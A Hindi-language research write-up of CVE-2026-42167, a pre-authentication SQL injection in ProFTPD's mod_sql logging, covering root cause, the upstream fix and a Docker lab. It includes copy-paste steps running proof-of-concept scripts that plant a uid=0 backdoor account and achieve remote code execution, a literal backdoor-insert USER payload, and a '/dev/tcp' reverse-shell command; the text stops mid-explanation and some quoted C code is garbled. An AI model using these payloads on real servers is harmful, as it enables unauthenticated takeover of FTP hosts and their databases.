
CVE-2026-42167 (ProFTPD mod_sql is_escaped_text() बाईपास) के लिए स्वतंत्र पुनरुत्पादन, कोड-स्तरीय मूल-कारण विश्लेषण, और यथार्थवादी-एक्सपोज़र राइट-अप।
mod_sql SQL इंजेक्शन / ऑथ बायपास / RCEस्वतंत्र रिप्रोडक्शन, कोड-स्तरीय रूट-कॉज़ वॉकथ्रू, और CVE-2026-42167 के लिए एक स्पष्ट एक्सपोज़र विश्लेषण — ProFTPD के mod_sql लॉगिंग पाइपलाइन में is_escaped_text() बायपास, जिसे ZeroPath Research द्वारा खुलासा किया गया और ProFTPD 1.3.9a / 1.3.10rc1 में ठीक किया गया।
Docker में macOS / Apple Silicon पर एंड-टू-एंड बनाया और सत्यापित किया गया, 2026-04-29।
TL;DR — कितना चिंतित होना है यह तय करने से पहले यथार्थवादी एक्सपोज़र तस्वीर के लिए Bottom line देखें। यह नहीं है एक डिफ़ॉल्ट-इंस्टॉल बग, लेकिन खतरनाक कोटिंग पैटर्न वही पैटर्न है जिसे अपस्ट्रीम डॉक्स आपको उपयोग करने के लिए कहते हैं, इसलिए
mod_sqlडिप्लॉयमेंट्स का एक बड़ा हिस्सा इसे विरासत में पाता है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQL इंजेक्शन), CWE-78 (OS कमांड इंजेक्शन — PG COPY TO PROGRAM के माध्यम से) |
| प्रभावित | ProFTPD ≤ 1.3.9 जिसमें mod_sql + SQLLog/SQLNamedQuery है और जिसका फ़ॉर्मेट स्ट्रिंग सिंगल कोट्स के अंदर एक अटैकर-नियंत्रित वेरिएबल को इंटरपोलेट करता है |
| इसमें ठीक किया गया | 1.3.9a (af90843ba…) / 1.3.10rc1, कमिट e6f728481 देखें ("Issue #2052") |
| पिन किया गया कमज़ोर कमिट | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| कमज़ोर फ़ाइल | contrib/mod_sql.c पंक्तियाँ 741–758 (is_escaped_text) और पंक्ति 777 (sql_resolved_append_text) |
| मूल खुलासा | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| सार्वजनिक PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| रिलीज़ नोट्स | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
contrib/mod_sql.c में is_escaped_text() ह्यूरिस्टिकmod_sql लॉगिंग फ़ॉर्मेट वेरिएबल्स (%U, %{basename}, आदि) को हल करता है और प्रत्येक टुकड़े को sql_resolved_append_text() के माध्यम से रेंडर किए गए SQL में जोड़ता है।
एडमिन कॉन्फ़िग्स के साथ बैकवर्ड कम्पैटिबिलिटी बनाए रखने के लिए जो पहले से वेरिएबल्स को '…' में लपेटते हैं, फ़ंक्शन यह तय करने के लिए is_escaped_text() को कॉल करता है कि sql_escapestring की आवश्यकता है या नहीं:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
जाँच पूरी तरह से संरचनात्मक है — यह *"पहले से ही एस्केप किया गया
विश्वसनीय कोड"* और *"हमलावर द्वारा पहले से एस्केप दिखने के लिए तैयार किया गया"* के बीच अंतर नहीं कर सकती।
`'<no-internal-quotes>'` से मेल खाने वाला कोई भी क्लाइंट-आपूर्ति मान
`sql_escapestring` को छोड़ देता है और सीधे अंतिम क्वेरी में कच्चा जोड़ दिया जाता है।
मानक, प्रलेखित कॉन्फ़िग `%U` / `%{basename}` / `%m` को सिंगल
कोट्स में लपेटता है:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
जब हमलावर USER '<payload>' भेजता है (शुरुआती और अंतिम उद्धरण, बिना
आंतरिक उद्धरण), रिज़ॉल्वर %U को बिना एस्केप किए प्रतिस्थापित करता है, जिससे
SQL में ''<payload>'' उत्पन्न होता है — खाली स्ट्रिंग लिटरल आसपास के
उद्धरणों को बंद कर देते हैं और <payload> कच्चे SQL के रूप में चलता है। PostgreSQL
(PQexec) और SQLite (sqlite3_exec) के साथ, स्टैक्ड क्वेरी समर्थित हैं, इसलिए
<payload> कथनों का कोई भी क्रम हो सकता है।
क्योंकि SQLLog ERR_* विफल लॉगिन पर सक्रिय होता है और %U को
USER से प्रमाणीकरण से पहले सेट किया जाता है, यह हमला पूरी तरह से बिना प्रमाणीकरण के होता है।
e6f728481, "Issue #2052")sql_resolved_append_text() में एक already_escaped पैरामीटर जोड़ा गया है। कॉलर
जो क्लाइंट इनपुट से मान रिज़ॉल्व करते हैं वे FALSE पास करते हैं और अब बिना शर्त
sql_escapestring से गुजरते हैं — is_escaped_text() ह्यूरिस्टिक अभी भी
वैध "कॉन्फ़िग में पहले से एस्केप किया गया मान" पथ के लिए लागू होता है, लेकिन
अब हमलावर-नियंत्रित डेटा पर लागू नहीं होता।
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- दोनों कंटेनर `setup/docker-compose.yml` के माध्यम से चालू होते हैं।
- `setup/proftpd.conf` कमजोर लॉगिंग कॉन्फ़िग सक्षम करता है (देखें §1)।
- `setup/seed.sql` `users`, `groups`, `activity_log`, `xfer_log`,
और `secrets` बनाता है, साथ ही एक वैध FTP उपयोगकर्ता `ftpuser / ftppass` भी।
---
## 3. प्रजनन — कॉपी/पेस्ट
आवश्यक शर्तें: Docker Desktop, Python 3.10+, git। (`uv` वैकल्पिक है; PoCs केवल stdlib-आधारित हैं।)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
अपस्ट्रीम रिपॉजिटरी में दो इंटरैक्टिव वेरिएंट
(preauth_user_rce.py, postauth_stor_rce.py) अपरिवर्तित हैं और एक
PTY-समर्थित रिवर्स शेल खोलते हैं। वे मार्कर वेरिएंट के समान प्राइमिटिव का उपयोग करते हैं — बस शेल कमांड को bash -i >& /dev/tcp/<host>/<port> 0>&1 से बदलें और पहले <port> पर सुनें।
USER कमांड, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
यह क्यों काम करता है: